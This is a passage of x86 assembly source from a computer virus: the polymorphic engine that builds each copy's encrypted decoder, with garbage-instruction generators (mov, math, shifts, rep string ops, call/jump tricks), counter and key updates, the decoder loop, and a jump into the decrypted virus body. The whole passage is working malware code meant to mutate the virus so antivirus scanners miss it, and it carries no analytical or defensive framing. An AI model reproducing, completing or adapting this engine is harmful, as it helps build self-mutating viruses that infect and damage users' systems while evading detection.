mov al,[ebp+index_reg_place-virus_start] call c_copro_math jmp __ppe_gni_finish __ppe_gni_c2: mov al,0FCh movsx eax,al call ppe_crypt_value lea esi,[ebp+tbl_copro_math+06h-virus_start] ;FISUB dw jmp __ppe_gni_c1_after ; MMX operation __ppe_gni_mmx: call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gni_random-virus_start],1 jz __ppe_gni_m2 ; genarete number -4- to an empty b-reg32 mov al,04h movzx eax,al call ppe_crypt_value mov ah,bl mov bl,0 ;PADDD operation __ppe_gni_m1_after: mov al,[ebp+index_reg_place-virus_start] call ppe_math_extended jmp __ppe_gni_finish __ppe_gni_m2: mov al,0FCh movsx eax,al call ppe_crypt_value mov ah,bl mov bl,1 ;PSUBD operation jmp __ppe_gni_m1_after __ppe_gni_finish: pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function to select new code-value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ __ppe_gnc_random db ? ppe_get_next_code: ; save registers pusha ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; add or sub ? call ppe_get_rnd32 and al,1 mov byte ptr [ebp+__ppe_gnc_random-virus_start],al ; base operations call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al mov eax,[ebp+code_value_add-virus_start] cmp byte ptr [ebp+__ppe_gnc_random-virus_start],1 jz __ppe_gnc_b2 call ppe_crypt_value mov al,03h ;ADD operation __ppe_gnc_b1_after: mov ah,[ebp+code_reg_place-virus_start] shl ah,3 or ah,bl or ah,0C0h stosw jmp __ppe_gnc_finish __ppe_gnc_b2: neg eax call ppe_crypt_value mov al,2Bh ;SUB operation jmp __ppe_gnc_b1_after __ppe_gnc_finish: pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function to select next counter ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ __ppe_gncounter_random db ? ppe_get_next_counter: ; save registers pusha ; save used-regs mov al,byte ptr [ebp+used_regs-virus_start] push ax ; add or sub ? call ppe_get_rnd32 and al,1 mov [ebp+__ppe_gncounter_random-virus_start],al ; type of operation cmp byte ptr [ebp+counter_reg-virus_start],2 jz __ppe_gncounter_mmx cmp byte ptr [ebp+counter_reg-virus_start],1 jz __ppe_gncounter_copro ;counter_reg is in b-reg32 call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gncounter_random-virus_start],1 jz __ppe_gncounter_b2 mov al,01h movzx eax,al call ppe_crypt_value mov al,03h ;ADD instruction __ppe_gncounter_b1_after: mov ah,[ebp+counter_reg_place-virus_start] shl ah,3 or ah,bl or ah,0C0h stosw jmp __ppe_gncounter_finish __ppe_gncounter_b2: mov al,0FFh movsx eax,al call ppe_crypt_value mov al,2Bh ;SUB instruction jmp __ppe_gncounter_b1_after __ppe_gncounter_copro: call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gncounter_random-virus_start],1 jz __ppe_gncounter_c2 mov al,01h movzx eax,al call ppe_crypt_value lea esi,[ebp+tbl_copro_math+02h-virus_start] ;FIADD dw __ppe_gncounter_c1_after: mov ah,bl call ppe_reg2mem ;EDX is output mov al,[ebp+counter_reg_place-virus_start] call c_copro_math jmp __ppe_gncounter_finish __ppe_gncounter_c2: mov al,0FFh movsx eax,al call ppe_crypt_value lea esi,[ebp+tbl_copro_math+06h-virus_start] ;FISUB dw jmp __ppe_gncounter_c1_after ; MMX operation __ppe_gncounter_mmx: call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gncounter_random-virus_start],1 jz __ppe_gncounter_m2 mov al,01h movzx eax,al call ppe_crypt_value mov ah,bl mov bl,0 ;PADDD operation __ppe_gncounter_m1_after: mov al,[ebp+counter_reg_place-virus_start] call ppe_math_extended jmp __ppe_gncounter_finish __ppe_gncounter_m2: mov al,0FFh movsx eax,al call ppe_crypt_value mov ah,bl mov bl,1 ;PSUBD operation jmp __ppe_gncounter_m1_after __ppe_gncounter_finish: pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function to generate decoder-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_exloop: ; save registers pusha ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; where's counter store ? cmp byte ptr [ebp+counter_reg-virus_start],2 jz __ppe_ge_mmx cmp byte ptr [ebp+counter_reg-virus_start],1 jz __ppe_ge_copro mov bl,[ebp+counter_reg_place-virus_start] jmp __ppe_ge_bfinish __ppe_ge_copro: call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov bl,al mov ah,al mov al,[ebp+counter_reg_place-virus_start] call __copro_mov2reg jmp __ppe_ge_bfinish __ppe_ge_mmx: ; we must mov counter-mmx-reg & c-copro-reg to b-reg32 call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah push ax mov ah,al mov al,[ebp+counter_reg_place-virus_start] mov bx,0102h call ppe_math_extended pop bx __ppe_ge_bfinish: push bx call ppe_get_empty_reg mov bl,al mov eax,[ebp+counter_vfinish-virus_start] call ppe_crypt_value pop ax shl al,3 or al,bl or al,0C0h mov ah,3Bh ;CMP instruction xchg ah,al stosw ; restore used-regs pop ax mov [ebp+used_regs-virus_start],al call gen_garbage_no_flags mov ax,850Fh ;JNZ.. stosw mov eax,[ebp+counter_back-virus_start] sub eax,edi sub eax,4 stosd mov [esp],edi popa ret ;ÄÄÄ´ function to jump to decode-virus-body ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_return: ; save register pusha ; save used-regs movzx eax,byte ptr [ebp+gl_index_reg-virus_start] call __reg_to_bcd mov [ebp+used_regs-virus_start],ah ; remove flags from stack call gen_garbage_no_flags call ppe_get_empty_reg mov al,58h or al,byte ptr [ebx] stosb call gen_garbage_no_flags ; generate offset to jump back xor eax,eax mov ebx,file_size sub ebx,eax push ebx ; ready to JMP there call ppe_get_empty_reg pop eax dec eax not eax call c_call_reg32 ;edi-2 = call reg32 instr mov eax,[ebp+g_cr32_jump-virus_start] add byte ptr [eax-1],10h ;CALL reg32 --> JMP reg32 ; generate final garbages mov eax,00000005h call ppe_get_rnd_range add eax,00000005h mov ecx,eax __gr_final: call gen_garbage loop __gr_final ; restore registers mov [esp],edi popa ret ;ÄÄÄ´ generate one byte instruction that does not change regs ÃÄÄÄÄÄÄÄÄÄÄÄ gen_save_code: mov eax,end_save_code-tbl_save_code call ppe_get_rnd_range mov al,byte ptr [ebp+tbl_save_code+eax-virus_start] stosb ret ;ÄÄÄ´ generate mov reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_movreg32imm: call ppe_get_empty_reg ;mov empty_reg32,imm mov al,0b8h or al,byte ptr [ebx] stosb call ppe_get_rnd32 stosd ret g_movreg16imm: call ppe_get_empty_reg ;mov empty_reg16,imm mov ax,0B866h or ah,byte ptr [ebx] stosw call ppe_get_rnd32 stosw ret g_movreg8imm: call ppe_get_empty_reg ;mov empty_reg8,imm test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movreg8imm call ppe_get_rnd32 mov al,0B0h or al,byte ptr [ebx] mov edx,eax call ppe_get_rnd32 and ax,0004h or ax,dx stosw a_movreg8imm: ret ;ÄÄÄ´ generate mov reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_movregreg32: call ppe_get_reg ;mov empty_reg32,reg32 push ebx call ppe_get_empty_reg pop edx cmp ebx,edx jz g_movregreg32 ;mov ecx,ecx ? etc. ? c_movregreg32: mov ah,byte ptr [ebx] shl ah,3 or ah,byte ptr [edx] or ah,0C0h mov al,8Bh stosw ret g_movregreg16: call ppe_get_reg ;mov empty_reg16,reg16 push ebx call ppe_get_empty_reg pop edx cmp ebx,edx jz g_movregreg16 ;mov si,si ? etc. ? mov al,66h stosb jmp c_movregreg32 g_movregreg8: call ppe_get_reg ;mov empty_reg8,reg8 test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz g_movregreg8 push ebx call ppe_get_empty_reg pop edx test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_movregreg8 cmp ebx,edx jz g_movregreg8 ;mov al,al ? etc. ? mov ah,byte ptr [ebx] shl ah,3 or ah,byte ptr [edx] or ah,0C0h mov al,8Ah push eax call ppe_get_rnd32 pop edx and ax,2400h or ax,dx stosw a_movregreg8: ret ;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_mathreg32imm: mov al,81h ;math reg32,imm stosb call ppe_get_empty_reg call __do_math_work stosd ret g_mathreg16imm: mov ax,8166h ;math reg16,imm stosw call ppe_get_empty_reg call __do_math_work stosw ret g_mathreg8imm: call ppe_get_empty_reg ;math reg8,imm test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_mathreg8imm mov al,80h stosb call __do_math_work stosb and ah,04h or byte ptr [edi-2],ah a_mathreg8imm: ret __do_math_work: ;select math operation mov eax,end_math_imm - tbl_math_imm call ppe_get_rnd_range lea esi,dword ptr [ebp+tbl_math_imm+eax-virus_start] lodsb or al,byte ptr [ebx] stosb call ppe_get_rnd32 ret ;ÄÄÄ´ generate push reg + garbage + pop reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_push_g_pop: call ppe_get_reg ; push rnd_reg mov al,50h ; --garbage-- or al,byte ptr [ebx] ; --garbage-- stosb ; pop empty_reg call gen_garbage_based call ppe_get_empty_reg mov al,58h or al,byte ptr [ebx] stosb ret ;ÄÄÄ´ generate call without return ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_call_cont: mov al,0E8h ; call __here stosb ; --rnd data-- push edi ; --rnd data-- stosd ;__here: call ppe_gen_rnd_block ; pop empty_reg pop edx mov eax,edi sub eax,edx sub eax,00000004h mov [edx],eax call gen_garbage_no_flags call ppe_get_empty_reg mov al,58h or al,byte ptr [ebx] stosb ret ;ÄÄÄ´ generate unconditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_jump_u: mov al,0E9h ; jmp __here stosb ; --rnd data-- push edi ; --rnd data-- stosd ;__here: call ppe_gen_rnd_block ; --next code-- pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax ret ;ÄÄÄ´ generate conditional jump ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_jump_c: call ppe_get_rnd32 ; jX __here and ah,0Fh ; --garbage-- add ah,80h ; --garbage-- mov al,0Fh ;__here: stosw ; --next code-- push edi stosd call gen_garbage_no_flags pop edx mov eax,edi sub eax,edx sub eax,00000004h mov dword ptr [edx],eax ret ;ÄÄÄ´ generate movzx,movsx reg32/16,reg16/8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_movzx_movsx_32: ;movzx/movsx reg32,reg16 call ppe_get_rnd32 mov ah,0B7h and al,1 jz __d_movzx32 mov ah,0BFh __d_movzx32: mov al,0Fh stosw call ppe_get_reg push ebx call ppe_get_empty_reg pop edx mov al,byte ptr [ebx] shl al,3 or al,0C0h or al,byte ptr [edx] stosb ret g_movzx_movsx_16: ;movzx/movsx reg16,reg8 mov al,66h stosb g_movzx_movsx_8: ;movzx/movsx reg32,reg8 call ppe_get_rnd32 mov ah,0B6h and al,1 jz __d_movzx32 mov ah,0BEh jmp __d_movzx32 ;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,imm ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_rotate_shift32: ;(r/s) reg32,imm8 mov al,0C1h stosb call ppe_get_empty_reg call __do_rs_work stosb ret g_rotate_shift16: ;(r/s) reg16,imm8 mov al,66h stosb jmp g_rotate_shift32 g_rotate_shift8: call ppe_get_empty_reg ;(r/s) reg8,imm8 test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_rotate_shift8 mov al,0C0h stosb call __do_rs_work stosb and ah,04h or byte ptr [edi-2],ah a_rotate_shift8:ret __do_rs_work: ;select r/s operation mov eax,end_rs_imm - tbl_rs_imm call ppe_get_rnd_range lea esi,dword ptr [ebp+tbl_rs_imm+eax-virus_start] lodsb or al,byte ptr [ebx] stosb call ppe_get_rnd32 ret ;ÄÄÄ´ generate rol/ror/rcl/rcr/shl/shr/sar reg,reg8 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_rs_reg32reg8: ;(r/s) reg32,reg8 mov al,0D3h stosb ;in fact, reg8 is always CL call ppe_get_empty_reg ;because CPU allows only call __do_rs_work ;this reg8 ret g_rs_reg16reg8: ;(r/s) reg16,reg8 (CL) mov al,66h stosb jmp g_rs_reg32reg8 g_rs_reg8reg8: ;(r/s) reg8,reg8 (CL) call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_rs_reg8reg8 mov ax,0D266h stosw call __do_rs_work and ah,04h or byte ptr [edi-1],ah a_rs_reg8reg8: ret ;ÄÄÄ´ generate bt/bts/btr/btc reg32/16,(reg/imm)32/16 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_bt_regreg32: mov al,0Fh stosb call __do_bt_work ret g_bt_regreg16: mov ax,0F66h stosw call __do_bt_work ret __do_bt_work: mov eax,end_bt_reg - tbl_bt_reg call ppe_get_rnd_range lea esi,[ebp+tbl_bt_reg+eax-virus_start] lodsb stosb call ppe_get_empty_reg push ebx call ppe_get_reg pop edx mov al,byte ptr [ebx] shl al,3 or al,0C0h or al,byte ptr [edx] stosb ret g_bit_test32: mov ax,0BA0Fh stosw call __do_bit_test_work ret g_bit_test16: mov al,66h stosb jmp g_bit_test32 __do_bit_test_work: mov eax,end_bt_imm - tbl_bt_imm call ppe_get_rnd_range lea esi,[ebp+tbl_bt_imm+eax-virus_start] call ppe_get_empty_reg lodsb or al,byte ptr [ebx] stosb call ppe_get_rnd32 stosb ret ;ÄÄÄ´ generate add/sub/xor/and/adc/sbb/or reg,reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_mathregreg32: ;math reg32,reg32 call __do_math_regreg_work ret g_mathregreg16: ;math reg16,reg16 mov al,66h stosb jmp g_mathregreg32 g_mathregreg8: ;math reg8,reg8 call ppe_get_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz g_mathregreg8 push ebx call ppe_get_empty_reg pop edx test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_mathregreg8 mov eax,end_math_reg - tbl_math_reg call ppe_get_rnd_range lea esi,[ebp+tbl_math_reg+eax-virus_start] lodsb dec al stosb mov al,byte ptr [ebx] shl al,3 or al,byte ptr [edx] or al,0C0h stosb call ppe_get_rnd32 and al,24h or byte ptr [edi-1],al a_mathregreg8: ret __do_math_regreg_work: mov eax,end_math_reg - tbl_math_reg call ppe_get_rnd_range lea esi,[ebp+tbl_math_reg+eax-virus_start] lodsb stosb call ppe_get_reg push ebx call ppe_get_empty_reg pop edx mov al,byte ptr [ebx] shl al,3 or al,0C0h or al,byte ptr [edx] stosb ret ;ÄÄÄ´ set reg8 by flag ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_set_byte: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz a_set_byte mov al,0Fh stosb mov eax,00000010h ;we have 16 opcodes, haha.. call ppe_get_rnd_range or al,90h ;seta , setae, setb , setbe stosb ;sete , setg , setge, setl mov al,byte ptr [ebx] ;setle, setne, setno, setnp or al,0C0h ;setns, seto , setp , sets stosb call ppe_get_rnd32 and al,04h or byte ptr [edi-1],al a_set_byte: ret ;ÄÄÄ´ generate garbage + loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_loop: ; we can't be recursived because ECX is only for one LOOP cmp byte ptr [ebp+recursive_level-virus_start],1 jnz a_loop ; does ECX free ? test byte ptr [ebp+used_regs-virus_start],00000010b jnz a_loop ; generate ECX like counter mov eax,00000030h ;future ECX to loop call ppe_get_rnd_range add eax,2 mov bl,00000001b ;write to ECX call ppe_crypt_value ; we don't want to change ECX or byte ptr [ebp+used_regs-virus_start],00000010b push edi ;total garbages in bytes call gen_garbage_based ;to calculate loop pop eax sub eax,edi sub eax,2 ;loop has two bytes mov ah,0E2h ;loop identification xchg ah,al stosw ; enable ECX and byte ptr [ebp+used_regs-virus_start],11111101b a_loop: ret ;ÄÄÄ´ generate reg + garbage + dec reg + jnz reg ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÙ g_lj_reg db ? ;0=8bit, 1=16bit, 2=32bit g_lj_reg_past db ? ;0=low, 1=high (8BIT only) g_loop_jump: ; we can't be recursived because ECX is only for one LOOP_JUMP cmp byte ptr [ebp+recursive_level-virus_start],1 jnz a_loop_jump ; select a free register call ppe_get_empty_reg mov byte ptr [ebp+g_lj_reg-virus_start],0 ;8 bit ... test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT jnz __g_lj_no_8bit mov eax,00000001h ;hi, lo ? call ppe_get_rnd_range mov byte ptr [ebp+g_lj_reg_past-virus_start],al jmp __g_lj_okay ; choose between reg16 and reg32 __g_lj_no_8bit: mov eax,00000002h ;reg16 or reg32 ? call ppe_get_rnd_range inc eax mov byte ptr [ebp+g_lj_reg-virus_start],al __g_lj_okay: push ebx mov eax,00000030h ;how many to looping ? call ppe_get_rnd_range add eax,2 mov bl,byte ptr [ebx] ;used reg call ppe_crypt_value pop ebx push ebx mov al,byte ptr [ebx] ;disable register call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah push edi call gen_garbage_based pop ecx mov ax,4866h ;dec (reg16-clone) or ah,byte ptr [ebx] cmp byte ptr [ebp+g_lj_reg-virus_start],0 jz __g_lj_dec_8bit cmp byte ptr [ebp+g_lj_reg-virus_start],2 jz __g_lj_dec_32bit stosb __g_lj_dec_32bit: xchg ah,al stosb jmp __g_lj_dec_finish __g_lj_dec_8bit: mov ax,0C8FEh ;dec (reg8) or ah,byte ptr [ebx] ;certain reg cmp byte ptr[ebp+g_lj_reg_past-virus_start],1 jz __g_lj_dec_8bit_high stosw jmp __g_lj_dec_finish __g_lj_dec_8bit_high: and ah,24h stosw __g_lj_dec_finish: call gen_garbage_no_flags pop ebx mov al,byte ptr [ebx] ;certain reg call __reg_to_bcd not ah and byte ptr [ebp+used_regs-virus_start],ah mov ax,850Fh ;JNZ identification stosw mov eax,ecx sub eax,edi sub eax,4 stosd a_loop_jump: ret ;ÄÄÄ´ generate reg32 + call reg32 + rnd_block + pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can generate CALL reg32 which will be gene- ;rated by . ; g_cr32_reg db ? g_cr32_full db ? ;0=g_return,1=call,2=jump g_cr32_jump dd ? ;address of CALL instruction ; g_call_reg32: mov byte ptr [ebp+g_cr32_full-virus_start],1 b_call_reg32: mov dword ptr [ebp+g_cr32_jump-virus_start],00000000h ; test, if global index reg is generated cmp byte ptr [ebp+gl_index_reg-virus_start],-1 jz a_call_reg32 ; do not recursived - because it's few registers cmp byte ptr [ebp+recursive_level-virus_start],1 jnz a_call_reg32 ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; select an empty register call ppe_get_empty_reg movzx ebx,byte ptr [ebx] mov byte ptr [ebp+g_cr32_reg-virus_start],bl ; calculate size of rnd_block mov eax,00000030h call ppe_get_rnd_range add eax,00000005h ;damn, fucking BUG !! push eax ;save it for later use jmp d_call_reg32 c_call_reg32: mov byte ptr [ebp+g_cr32_full-virus_start],0 mov cl,[ebp+used_regs-virus_start] push cx mov bl,byte ptr [ebx] mov byte ptr [ebp+g_cr32_reg-virus_start],bl d_call_reg32: call ppe_crypt_value ;ebx is full movzx eax,byte ptr [ebp+g_cr32_reg-virus_start] lea ebx,[ebp+tbl_regs+02h*eax-virus_start] call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah call gen_garbage_no_flags ;uaaahh call __copro_fix_delta ; + global index register call gen_garbage_no_flags ; for we don't want to set right size cmp byte ptr [ebp+g_cr32_full-virus_start],0 jz e_call_reg32 ; set the right size mov ebx,edi add ebx,2+6 ; + call reg32 + (add/sub) sub ebx,[ebp+poly_start-virus_start] mov eax,00000002h call ppe_get_rnd_range or al,al jz __cr32_add neg ebx mov ax,0E881h ;sub reg32,imm32 id jmp __cr32_finish __cr32_add: mov ax,0C081h ;add reg32,imm32 id __cr32_finish: or ah,byte ptr [ebp+g_cr32_reg-virus_start] stosw mov eax,ebx stosd e_call_reg32: ; now, write CALL reg32 instruction mov ax,0D0FFh or ah,byte ptr [ebp+g_cr32_reg-virus_start] stosw mov [ebp+g_cr32_jump-virus_start],edi cmp byte ptr [ebp+g_cr32_full-virus_start],0 jz f_call_reg32 pop ecx ;rnd_block length call ppe_gen_rnd_fill ;ecx is full cmp byte ptr [ebp+g_cr32_full-virus_start],2 jz f_call_reg32 ; and we must put value from stack via POP reg32 call gen_garbage_no_flags ;uaaahh... mov al,58h or al,byte ptr [ebp+g_cr32_reg-virus_start] stosb f_call_reg32: ; restore used_regs pop ax mov [ebp+used_regs-virus_start],al a_call_reg32: ret ;ÄÄÄ´ generate reg32 + jump reg32 + rnd_block ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_jump_reg32: mov byte ptr [ebp+g_cr32_full-virus_start],2 ; write CALL reg32 garbage call b_call_reg32 cmp dword ptr [ebp+g_cr32_jump-virus_start],0 jz a_jump_reg32 ; rewrite CALL reg32 --> JMP reg32 mov eax,[ebp+g_cr32_jump-virus_start] add byte ptr [eax-1],10h ;CALL reg32 -> JMP reg32 a_jump_reg32: ret ;ÄÄÄ´ generate rep/repnz + cmps/lods/stos/scas/movs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ sado-maso function ÄÄÄÄÄÄÄÄÄÄÄÄÙ ;--------------------------------------------------------- ;Welcome to my popular function. I think any comment is ;needless - because this function is easy to understand. ;So, If u don't believe me, I'll show you some functionz: ; * __gr_make_esi --- generate source ; * __gr_make_edi --- generate destination or source ; * __gr_make_ecx --- generate counter ; ;...easy to understand... ; g_repeat: ; test, if global index register is generated cmp byte ptr [ebp+gl_index_reg-virus_start],-1 jz a_repeat ; i must be far then about USED_MEMORY bytes call __gr_where_in_mem jc a_repeat ; register ECX must be free test byte ptr [ebp+used_regs-virus_start],00000010b jnz a_repeat ; does ESI free ? test byte ptr [ebp+used_regs-virus_start],01000000b jnz __gr_part_2 ; does EDI free ? test byte ptr [ebp+used_regs-virus_start],10000000b jnz __gr_lods ; all cmps/lods/stos/scas/movs, wow ! mov eax,(end_repeat - tbl_repeat) / 04h call ppe_get_rnd_range lea esi,[ebp+tbl_repeat+eax*04h-virus_start] lodsd add eax,ebp sub eax,offset virus_start call eax jmp a_repeat __gr_part_2: ; must be EDI free ... test byte ptr [ebp+used_regs-virus_start],10000000b jnz a_repeat ; only stos/scas .... mov eax,00000002h call ppe_get_rnd_range or al,al jz __gr_stos jmp __gr_scas __gr_cmps: call __gr_make_esi ;new esi to ebx call __gr_make_edi ;new edi to ecx call __gr_change push ecx mov eax,ebx mov bl,00000110b ;esi register call ppe_crypt_value lea ebx,[ebp+tbl_regs+6*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],01000000b pop eax mov bl,00000111b ;edi register call ppe_crypt_value lea ebx,[ebp+tbl_regs+7*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],10000000b call __gr_crypt_ecx ;ecx register call __gr_make_rep ;rep or repnz ? mov al,0A6h stosb and byte ptr [ebp+used_regs-virus_start],00111111b ret __gr_lods: ; register EAX must be free test byte ptr [ebp+used_regs-virus_start],00000001h jnz __gr_flods call __gr_make_esi mov eax,ebx mov bl,00000110b call ppe_crypt_value lea ebx,[ebp+tbl_regs+6*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],01000000b call __gr_crypt_ecx call __gr_make_rep mov al,0ACh stosb and byte ptr [ebp+used_regs-virus_start],10111111b __gr_flods: ret __gr_stos: call __gr_make_edi mov eax,ecx mov bl,00000111b call ppe_crypt_value lea ebx,[ebp+tbl_regs+7*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],10000000b call __gr_crypt_ecx call __gr_make_rep mov al,0AAh stosb and byte ptr [ebp+used_regs-virus_start],01111111b ret __gr_scas: call __gr_make_edi or byte ptr [ebp+used_regs-virus_start],10000000b mov eax,ecx mov bl,00000111b call ppe_crypt_value lea ebx,[ebp+tbl_regs+7*2-virus_start] call __copro_fix_delta call __gr_crypt_ecx call __gr_make_rep mov al,0AEh stosb and byte ptr [ebp+used_regs-virus_start],01111111b ret __gr_movs: call __gr_make_esi call __gr_make_edi call __gr_change push ecx mov eax,ebx mov bl,000000110b call ppe_crypt_value lea ebx,[ebp+tbl_regs+6*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],01000000b pop eax mov bl,000000111b call ppe_crypt_value lea ebx,[ebp+tbl_regs+7*2-virus_start] call __copro_fix_delta or byte ptr [ebp+used_regs-virus_start],10000000b call __gr_crypt_ecx call __gr_make_rep mov al,0A4h stosb and byte ptr [ebp+used_regs-virus_start],00111111b ret __gr_make_rep: mov bx,0F2F3h ;repnz, rep mov eax,00000002h call ppe_get_rnd_range xchg eax,ebx or bl,bl jz __gr_make_repnz stosb ret __gr_make_repnz: xchg ah,al stosb ret __gr_crypt_ecx: mov eax,30 call ppe_get_rnd_range mov bl,00000001b ;ecx register call ppe_crypt_value ret __gr_make_esi: mov eax,0000000Ah ;esi start call ppe_get_rnd_range mov ebx,eax sub ebx,edi add ebx,[ebp+poly_start-virus_start] ret __gr_make_edi: mov eax,000000Ah ;edi start call ppe_get_rnd_range mov ecx,eax sub ecx,edi add ecx,[ebp+poly_start-virus_start] ret __gr_change: mov eax,00000002h ;change esi and edi ? call ppe_get_rnd_range or al,al jz __gr_change_no xchg ebx,ecx __gr_change_no: ret __gr_where_in_mem: mov eax,[ebp+poly_start-virus_start] sub eax,edi neg eax cmp eax,USED_MEMORY ret a_repeat: ret ;ÄÄÄ´ generate push value(32/16)/garbage/pop reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_pushpop_value: ; value32 OR value16 ? call ppe_get_rnd32 ;save dword or word ? and al,1 jnz __ppv_push16 ; short or long value ? call ppe_get_rnd32 and al,1 jnz __ppv_push32_short ; long value mov al,68h ;save: PUSH 11223344h stosb ;code: 68 44332211 call ppe_get_rnd32 stosd jmp __ppv_finish32 __ppv_push32_short: call ppe_get_rnd32 ;save: PUSH 00000009h mov al,6Ah ;code: 6A 09 stosw jmp __ppv_finish32 __ppv_push16: call ppe_get_rnd32 and al,1 jnz __ppv_push16_short ; long short-value mov ax,6866h stosw call ppe_get_rnd32 stosw jmp __ppv_finish16 __ppv_push16_short: mov ax,6A66h stosw call ppe_get_rnd32 stosb jmp __ppv_finish16 ; time to POP value __ppv_finish32: call gen_garbage_based ;POP reg32 call ppe_get_empty_reg mov al,58h or al,byte ptr [ebx] stosb jmp __ppv_finish __ppv_finish16: call gen_garbage_based ;POP reg16 call ppe_get_empty_reg mov ax,5866h or ah,byte ptr [ebx] stosw __ppv_finish: ret ;ÄÄÄ´ function to crypt a random value to reg32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ g_crypt_value: call ppe_get_empty_reg mov bl,al call ppe_get_rnd32 call ppe_crypt_value ret ;ÄÄÄ´ function to simulate end of encode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function can generate "destination" compare like 